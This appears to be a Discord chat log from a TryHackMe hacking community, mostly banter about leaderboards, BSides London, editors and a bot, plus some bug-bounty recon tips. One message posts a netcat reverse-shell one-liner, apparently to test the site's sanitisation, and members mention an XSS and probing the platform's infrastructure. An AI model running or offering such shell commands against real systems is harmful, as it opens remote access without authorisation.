#thm-community-media
1 messages ยท Page 14 of 1
๐
subtle flex
me want sherlock rank
i need his knowledge
us and the rest of the infosec community pal
Rumour has it he used a point dupe bug to aid him slightly
ooooooo
#JustSherlockThings
"accidental" it was a PoC wasn't it?
nah, I just spam clicked the submit button when I was 1 room away from #1
it gave me multiple sets of points
There's a re-occurring theme of spam and 1st place here ...
y'all are all forgetting I got #1 twice smh
Unforunately, it's impossible for me to even get on the leaderboard currently. Unless it's This Month
is so good that he being first place isn't the true first place
lol
The point recalculations are gonna be a big hit when they get rolled out ๐
I know I got a fair few points to loose when that gets hit
Ain't no one taking away my level 999 though
Isn't SuitGuy the only one that has it?
Ye
That is suitguy
Only one can be 999
Yeah I know.
And that one is me
Optional is a Bug Hunter too
I can't wait for username changes to happen
Yeah, me too.
Trying to create a persona
Same with 0x03f3, just gonna nag Skidy to point the profile to /dev/null
^^
Managed to monopolies the 0x03f3 Google results so just keep smashing out the profile reach
Dan has optional so I'm just gunna commit
Need to write up about 60 walkthroughs on THM and about 12 HTB walkthroughs for when machines get retired
Just ain't no time
Was gonna say
you talk as if you'd keep up
As soon as I remember the creds
lmao
Yeah I can understand that
lmao
A lot of work
๐
we'll talk optional creds when I get my UoP place ๐ /s
I hope you didn't name drop optional ๐
Wow btc dropped hard
Everything's dropping hard, people panicking about a chest infection
^
Epidemics are always great for shorts
imagine it
Yep it's going to pop right back up to 9k in the next week or so.
I've been monitoring ETH and that's been like a bipolar patient
mans acting like Nick doesn't love me
FTSE100 hitting 14% drop though
I'm fine with it dropping a little more @nova lynx ๐
Wish definitely cashing in though
Wish talking as if you wouldn't get what you ordered in 6 weeks time anyways
Wish talking as if you actually get what you pay for
@olive sundial can I pop you a DM?
Man should I book a hotel for bsides London this year or just get up early again
Get up early
That isn't anything
Hotel life
I mean
I would need a hotel room or something
And I can't get one myself because under 18
Sherlock when he gets to the hotel room
By the way optional I'm a big spoon ;)
๐
I'm find the floor comfy, dw
Can hit that Ibis earl court 1st-4th for 400
Just gotta get a ticket for it somehow
if you book ibis it's free ticket
Don't need to buy tickets if you stay here
nothing happens on the 1st
Don't stop pre drinks
2nd - 4th is ยฃ274 for two people
Might book a room
Do you get 2 tickets?
so fun fact
Hm
bsides don't talk to the hotel above (ibis)
so as long as you have a key for it
you'll get in
but yeha a twin room would be two tickets
2 peeps, 2 keys
English buffet breakfast for 2
I ship it @lethal egret x @cobalt thicket
Is bsides good tho?
bsides is great
free stuff
bar just above the floor to get pissed in while waiting on talks
the talks are a bit hit and miss depending on what you're into
and failing that just head over to infosec and grab a ticket out of the bin to walk through
did a bit of dumpster diving last year and walked straight on in
Fuck yeah I'm booking a twin then, how much are normal tickets?
tickets are free
the event is an entirely free event
@latent stirrup share with Matt?
@magic root
@restive tartan let's fly para and dark out for bsides ๐
@magic root up for me booking us in for bsides?
@lethal egret would you be down to split it?
yeah for sure man
Optional brining minors into his room ๐
Joe
@restive tartan let's fly para and dark out for bsides ๐
@lethal egret omg yess - THM meet up
I swear to god
Hahahaha
THM partyyyy
Nah it'll be chill, looking forward to it
if there's a thm meetup I may need a new tshirt to rep as my one got shrunk by some amazing laundry skills
I need a thicc Boi size, medium looks reduculous on me
๐
Give optional a new shirt petition
Give him 3
Give optional a shirt with "Optional" on it
Incase if he messes up the first 2 with his laundry skills
I'd wear it just because it had my name on it ๐
man it was my girlfriend who shrunk it
Mhm
I came back from uni and she said she tried helping, turned out she shrunk half of my tshirts
@lethal egret I'll send my next two paid boxes revenue your way then
Oof
โค๏ธ
Should be ยฃ150-170
Awe
All gotta be on our best behavior lads ๐
man I'm likely to just get smashed ๐
last bsides was just a day drinking sessoins that started at 10am
Horshark: I can swim
Shush
more like 5am
^
5am 5pm what's the difference
Oh shit, I just thought I think I have access to Uni conference funds
What's 12 hours mean
it's 5pm somewhere in the world
I wonder if I could blag some funding
@latent stirrup we don't have exams over bsides
Booking now
just checked the time table
I might have a place by then kekw
I might just book this and say fuck it so it's done
You do you
Gunna get this box designed and finished then I'll book

Suppose I better come up with some more room ideas then huh
Watch it get cancelled smh
Don't jinx it boiiiiii
Lol
^^ over rated
it's alright just drink enough that the virus gets drunk and doesn't infect you as it passes out
bold of you to assume I drink
I only drink on days ending with y
Isn't the drinking age in the u.k 16 @lethal egret
18
18
Oh
sounds like uop students
You can drink from 14 with a meal though iirc
drinking on any day
@lethal egret hi dad
@lethal egret hi dad
@graceful coral shit you found me. Time to head back to the gas station
;-;
I know one you is my dad, just haven't figured it out yet.
That's the only reason I'm here.
D:
Legal drinking age is 5
Legal drinking in public/bar/restaurant is like 14 or 16
legal buying is 18
Does anyone have Metasploit Pro?
@nova lynx Ashu is all our dads
Wow and he just walked out like that.
lmfao!

@nova lynx if pentesting doesn't work out, I may go into comedy ๐๐๐๐
Standup?
Constantly lurking
as a mod should
Rumour has it I don't eat or sleep. Only Discord.
James would be the straightest straight man in our comedy duo @tropic lava
Agreed & I just met him.
I'm not that autistic
I don't think you're autistic James, I think you just don't like things out of order.
More like a form of OCD.
I'm certified autistic
I'm not autistic, my mum just thinks I'm special
Asperger's maybe, I think to get involved in this hobby; You need a little spectrum in you.
@tropic lava are you really
@nova lynx It's all ASD now
True > Asperger's maybe, I think to get involved in this hobby; You need a little spectrum in you.
@nova lynx
If he really is, then I'm a douchebag. ๐คฃ
We're all just varying degrees of autism floating through space
Now that's a quote you can take to the bank
I agree with that 100% @latent stirrup
ooh ooh finally a special piece of paper that I actually have!
๐
James if you're really watching all the time, reply to this in 10 seconds or less.
Proof ^
not that quick
That was 17 seconds
I have to watch everything else too
I'm convinced
I saw an unread indicator and came back
I am convinced as well
I mean someone posted a picture of me earlier
Yeah but you could have morphed.
Ayeeee
I can confirm he is real, it's this but as a meat popsicle

@tropic lava are you Ashu's dissertation
Yeah cause he graduated using you as his dissertation
Meaning his dissertation worked? ๐
Ye
It will only work if everyone is ready at the same time.
What's the troll
Ah, like a seance
Not a troll, I want to see who wins.
First person to type this, no backspaces wins the Autism challenge. The quick brown fox jumps over the lazy dog -- no copy paste
YESAWYHJS
AUTISM
YOU WIN
WOOOOO
Want to try again with James here?
Different sentence
3
2
1
When I went to the suburban part of Piazzas, Italy, I assumed I would find these pizazz pizzas. Alas, all I found was obstinance which made my foramen close up.
When I went to the suburban part of Piazzas, Italy, I assumed I would find these pizazz pizzas. Alas, all I found was obstinance which made my foramen close up.
Prove it @latent stirrup
No u
This challenge sucks
Sucks challenge this
Siht egnellahc skcus
Fuck I'm reaching shit posting levels we didn't think possible
a flash game where pressing the spacebar rewards you with goofy photos of it's creators holding up your score
does anyone remember this?
No
If so, what is your highest score on 5 seconds
It's flash
so can't do it from mobile
Not with that attitude @nova lynx
Imagine actually running flash in your machine in 2020
I play flash tetris
I can feel the vulnerability
Slow @nova lynx
Yeah way slower, I am getting old af ๐ฆ
Same
All these youths these days with their fancy gizmos
^
We can all write an autoclicker
but that doesn't count
it's the sheer slamming of the keyboard
for the award
in flash -- actionscript ๐คฃ
For some reason I keep duplicating words, I'm really starting to think it's Discord and not me.
Discord does that
It's done it too me on multiple occasions
Got it. Thank god
how do I even get flash anymore
Chrome has it by default
I just enabled it in Chrome
So does the new Microsoft edge
chrome is throwing a hissyfit
Question, Pars, as I miss all the fun trudging through unending screenshots of Learn Linux ๐
Did you actually show them cd?
checks to see if I missed cd
?
Don't inspect element me @nova lynx
I am not a damn inspector @graceful coral
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc localhost 1234 > /tmp/f
(Almost forgot how to do that for a second...)
ok I'm done
Hehe. I think that's been fixed...
Itโs fixed
Right, I really need to get back to work!
Skidy sanitized the hell out of it.
๐โโ๏ธ
That is meant to be a bow. What the hell is it actually
Looks more like a pressup
Itโs a kid thatโs angry
hastey typing
๐คฏ
gotta lean in to the monitor
Lean in
That^^ pars
Yeah Iโve been trying to break the room name sanitisation for weeks
Ainโt happening
Especially now I'd imagine @lethal egret. Skidy's blitzed it since we found that XSS
Trust me. I've been trying...
Yeah I found one in write ups before
Ooh, nice ๐
I'm still more interested in breaking the guac subdomain
I asked @formal sparrow, he said most likely I can, but can anyone prone around without risk of a ban?
Nothing damaging of course
As soon as koth and name changes are release I'm gonna be having a feild day
Oh thatโs it @graceful coral? Iโm going to get creds to the AWS
RCE is the dream
No one except 0x03f3 knows this but Pars and I are going 1v1 this week in a KOTH.
So itโs going to be a battle.
To the death
Imagine not dressing up as Napoleon when you do KOTH
Will it be green @nova lynx?
๐๐
YES
Im also writing an analysis on the dialogue that didnt happen ๐๐๐
I can explain
Skidy sent a message
Then deleted it
I replied to skidy as he deleted it
Stuff about a thing me, optional dark and horshark are in, among others
ah yea whoops..
the bull is doing uni hw
oof
James made a comment in rooms help that is very helpful in real world scenarios, regarding bounties. Throwing the -x flag on whichever directory bruteforcer with .bak,.old,bakk, etc has won me two bounties.
Of course appending the expected extension before it e.g: .php.bak etc
@nova lynx where do you do bounties and what is the best way to submit bugs or pen test results
I recommend to HackerOne to anyone.
Learn how to write a great report and youโre good to go!
Hackerone has a neat program
They give you ctf challenges
And the more you complete, the more "private" invites you get
The challenges are fun
Now I should probably do something with the private invites I get
Lol
I'm tempted to pick up some bug bounties
Same
My suggestion is to start with a proxy on your phone, do mobile apps.
Full of dirty endpoints
Or download an .apk and grep for api domain.
After decompiling.
I personally enjoy mobile apps, but itโs preference.
App testing is easy money
^
Just decompile
Fuzz fuzz fuzz
Once you know youโre looking for api endpoints, exposed creds etc
Learn how to process data easily and youโre golden
Developers are lazy and leave juicy stuff everywhere
So true, youโll see that quickly @graceful coral
Same with github repos if you find one
I found countless repos, also always check out /.git on all subdomains
I create my own wordlists for sub enum.
Okay, back at my office computer. If anyone ever has questions regarding bounties, just throw me a DM.
Hehe innit
Haha, I just didn't think this was the appropriate place to talk about it.
Tbh I try avoid bug bounty talk unless directly asked
Usually too much effort as people expect it to be exactly like a ctf room
When Iโm reality itโs processing poorly written code for any exploit known to man
Very true
It's very open-ended
A lot of people expect an RCE, like 99% of CTF's, that is usually never the case.
Key thing to note. If you start on a h1 account and donโt get any hits or decent private invites
Just make another account and go again
Once you start a program you like and find hits in, youโll get private invites anyway as your reputation will increase
jots down
Use vmware
:)
Never had an issue with shared clipboard with player or workstation
Ye but I only have 1 workstation license
Player?
Also vbox exports smaller OVAs
That's fair
Good day :)
I never had problems using VBOX, but I never tried anything else either
Fusion all the way
I have to work, but just wanted to point out that @formal sparrow finally agreed privately that nano is better than vim.
Just a PSA
lmao
It's about time @formal sparrow
He did WHAT?!
It's ok!
Where?!?!
You can us the truth!
We will all still like you...
We will support you
If you don't admit it right now, we're going to have to disown you.
vim > vi
@lethal egretits ok you can be wrong
This is an intervention @lethal egret
nano > pico
Yes @lethal egret!
Not for his enablers
nano > nano
Nano > Vim
Vim > vim
awk > *
nano != bim
That, wins.
Yall have some deep issues you need to work out
@lethal egretsays the person who made delusion
I did not cheat! I used some lateral thinking!
do I have to be that guy again?
Yeah...
Delusion isnโt out yet
emacs
Nor finished
snake
Snek
Where did I admit that @nova lynx?
In your journal
Also, do I need to up my game @lethal egret?
Haha, oh, that's how it is, is it?
Nvm then
Nah, that's my dog's journal xD
I can forgive the dog for preferring nano
Wow
Jeez
He just called us dogs @graceful coral
Lying this heavily @formal sparrow
It's all coming out now
Join us
๐
You asked for it! ๐คฃ
Yeah man... The first step is We admitted we were powerless over our addiction, that our lives had become unmanageable.
We just want the best for you!
^
Nano > *
-
0
Mine will be lucky to make it through the review from staff
Lolll
Nah, Madness was awesome.
Note to self: Allow dan or admins to review optional's content
@lethal egret oh so you just want to be fired from being a paid dev
There's 2 nanos
we have a tie
Lmao
Yeah, nano needs two spots.
why?
@graceful coral man Iโm barely a box dev anyway
It's that good
^
Iโm just a meme at this point
nano & vim neck to neck
Yeah if this was golf
Nano is a solid 50% over a 33% vim
Tie again
This is getting intense
Pog
We need some support... @graceful coral Someone is cheating obviously.
It's insane that people cheat just to lie @nova lynx
Oh really.. ๐
Or maybe, nano just lost?
Anyone for Emacs?
Awk isn't an option?
Have to combat the cheaters in some way!
Beating cheaters by cheating
Aww. At least Vim won...
Hmm. Can you leave that up for a bit? I want to try scripting that
Because vim cheated @formal sparrow
Absolutely, it shouldn't be hard to do.
Was that proxychains you were trying there?
No, I'll DM you what I use.
Cool ๐
Sorry for spamming screenshots, but this is just remarkable. So happy for Skidy, Ashu, and the rest of this awesome community!!!
Almost 21k
This growth is quite incredible. Do I remember you suggesting speaking to John Hammond @lethal egret?
Yeah skidy slid into his dms shortly after
Guess you're indirectly the one responsible then ๐
Hey, that merch shop is almost a reality!
yes, merch pls
So
What I'm hearing
Is for the first 25k members
Skidy sends all of us a free hoodie
$$$
I really hope so!
25k haha
xddd
Anyone feel like sponsoring
I mean, honestly, so long as hoodies are available I'm happy
That money
or is it only for Community mentor and mod gangs
Lol
Tempted to post that
In idea submissions
All mods and mentors get free hoodies
Lmao
yes.
i highly insist
Aight then
But that might be a bit to aboosive
Lol
Considering everyone that's backed it
Is either a mod or a community mentor
Lmao
hehe
Uh...
๐ณ
Fair point
๐
Shall we take it to rooms-help Pars? Swap upvotes for Task 43...
๐
I'll password protect the write-up. Upvote for the password ๐
Haha, yep!
Probably better not do that... ๐
If you do password protect the writeup
I'll just name-drop you as the official guide
:D
๐ฐ
<3 @formal sparrow
That could hurt ๐ข
๐
I'm nice
Id never do that
:)
Until you name-drop me as a guide for your next challenge room anyeau
*Pars runs to #room-help "Hey everyone!"...*
Haha. I wouldn't do that. Way too mean
My next challenge room is going to be, uh, interesting
Exactly
Need to find time to implement it, but it's all designed
๐
!paradox
You need to implement that guess you made earlier @graceful coral
!spaniel
!shiba
๐ฅ
Haha. How's his laptop?
Right. I'm now going to attempt the one thing that I've never been able, and never will be able to do
Draw
This isn't going to end well
I'm the worst artist
Humanity has ever seen
You've just reminded me @formal sparrow
Of my ineptitude
Lmao
Litterally beautiful
You wanna see my hand writing
Bad?
It no bueno
Oh dear...
Yeah, my handwriting is awful when I use a 0.3mm pencil
Anything else? Nuh uh
My laptop is good
!spaniel @uncut saffron? ๐
yeah @uncut saffron
@uncut saffron I have an idea for the bot!!
give us the features @uncut saffron
work faster bot slave @uncut saffron
you should make it so you can have more join messages! @uncut saffron
oh oh
you should also fix how the bot pings new users! @uncut saffron
Poor @uncut saffron
For like.. 3 months
Ok so, I have work to do tonight, if I get time I'll do a bit on the bot
But let's say I have a project to code and a math exam to study
So
As much I love the THM bot, it'll wait 24h
:P
That being said.. I can implement !shiba and !spaniel real quick.
Because I'm a nice person
<3 @uncut saffron
@uncut saffron, I feel your pain haha
Thank you @uncut saffron โค๏ธ
Aye, no problem bois :)
I need a few days, and I should be able to push actual content on the bot :)
It'll be a two time thing
1st, lots of small addittions that have been asked for and all, fixes etc.
2nd, a few huge stuff. (even though most of it is actually technical behind the curtain thing, they'll allow us to do nice stuff)
We love @uncut saffron
quote that
:D
just got 2 more friends on THM
now we're even
also, @restive tartan , what's in for the referrals?
https://www.emojicode.org/docs/guides/compile-and-run.html -- this is hell
We need a torture room made with this ๐คฃ
Uh...
๐
Oof
That would be awesome.
๐
Excited to see that
I have a special hate for esolangs tho
so I'm not sure I can go into that level yet
That would be a risk to peoples safety.
Has anyone here done unprintable on htb?
Gunna implement that esolang that is used on there
@latent stirrup
Is lusus
@lethal egret lusus is a programming language entirely in Latin
Force people to learn an actual language to solve your room
oh god imagine
i can write and read latin
Oh no
or more annoying
I'm trying to make people hate me
His was designed to annoy
Mine are designed to annoy only one person
@formal sparrow
lol, get a room hahaha
i'm just making you aware
Difference is I won't be accepting writeups on the room for a fair while
the roads to hell are paved with good intentions
๐
time is relative
I think I'm going to start to talk my coworker in Regex
See what happens!
if someone ask what time it is I can reply with 1[0-2]|0?[1-9]:[0-5][0-9]\s?[AaPp][Mm]
I think youll get fired
just reply in stack pointers
[WTB] working sleeping pattern, ideally GMT or BST adapted. Serious sellers only. k thnx
โHilltopCTF{My_F1R27_C7F}.โ by Jenn F. https://link.medium.com/QlBFTNXuE4
I have a fever, and have been coughing since last night. Really hoping this isn't what I think it is...
Oof, stay safe, mate ๐
Man's about to get crona'd
Ya boi has got a Skype interview
@nova lynx pretty sure coughing isnโt a symptom so you should be fine
Yeah but fever is
and it's all around the area I live in.
I either have the Flu or Corona, one or the other.
Flu is more likely ๐
hi
Yeah both suck
@cobalt thicket uni or job?
@tropic lava DMU
Oh nice
And still no reply from Nick 
Oh no
@cobalt thicket He is a super busy guy, and will respond, just when he gets the time:)
Gotta remember dissos are coming to a close soon so thatโs added stress for him so heโs likely not seen it
Ye ik
Right
Got my time
4pm Friday
Gonna be a stretch to get me awake but oh well
Idek what they're gonna ask me
fair enough
I should start banning myself from discord for the first hour that I'm awake, that'll stop me from saying things without thinking
Oh shit
you want some animish emojis ?


are we unleashing the degen emotes


๐ค

If you boost the server, Dark will add a limited amount of emotes for you, no questions asked if it's SFW

ah ..



I would but Discord is lame.


Nevertheless if you submit a few useful stickers (I submitted
and
) and he judges them to be cool to be added, it can happen
hey i think thats one of Emmas mutual servers
๐
hey i think thats one of Emmas mutual servers
What do you mean?


o
kekw
Ping me in about five hours and I'll look through the emoji suggestions haha
Wait has anyone got the image of Ben to make an emote?
plz no
Gonna veto that because then we'll get an emote of me.
you get used to it after a while
Lightshot > Gyazo -- ?
sharex
Knew someone was going to say that


